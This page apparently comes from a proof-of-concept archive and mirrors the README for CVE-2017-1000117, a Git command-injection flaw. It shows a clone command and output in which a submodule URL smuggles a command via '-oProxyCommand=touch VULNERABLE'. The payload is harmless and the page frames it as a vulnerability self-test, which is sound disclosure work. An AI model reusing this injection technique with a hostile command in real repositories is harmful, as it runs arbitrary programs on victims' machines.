Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-1000117 PoC — Git 命令注入漏洞

Source
Associated Vulnerability
Title:Git 命令注入漏洞 (CVE-2017-1000117)
Description:A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL can result in any program that exists on the victim's machine being executed. Such a URL could be placed in the .gitmodules file of a malicious project, and an unsuspecting victim could be tricked into running "git clone --recurse-submodules" to trigger the vulnerability.
Description
Proof of concept of CVE-2017-1000117
Readme
CVE-2017-1000117
--

This module can be used to test whether you are vulnerable to CVE-2017-1000117
```
git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
ls CVE-2017-1000117
```
Output if you are vulnerable:
```
$ git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
Cloning into 'CVE-2017-1000117'...
remote: Counting objects: 4, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 4 (delta 0), pack-reused 0
Unpacking objects: 100% (4/4), done.
Submodule 'test' (ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git) registered for path 'test'
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test'. Retry scheduled
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test' a second time, aborting
$ ls CVE-2017-1000117
README.md  VULNERABLE
```

If you see VULNERABLE then you are vulnerable and need to update your git client

File Snapshot

[4.0K] /data/pocs/901372142e0e565f7422e3351eb92ad5ac4d5ad1 ├── [1.7K] README.md └── [4.0K] test 1 directory, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →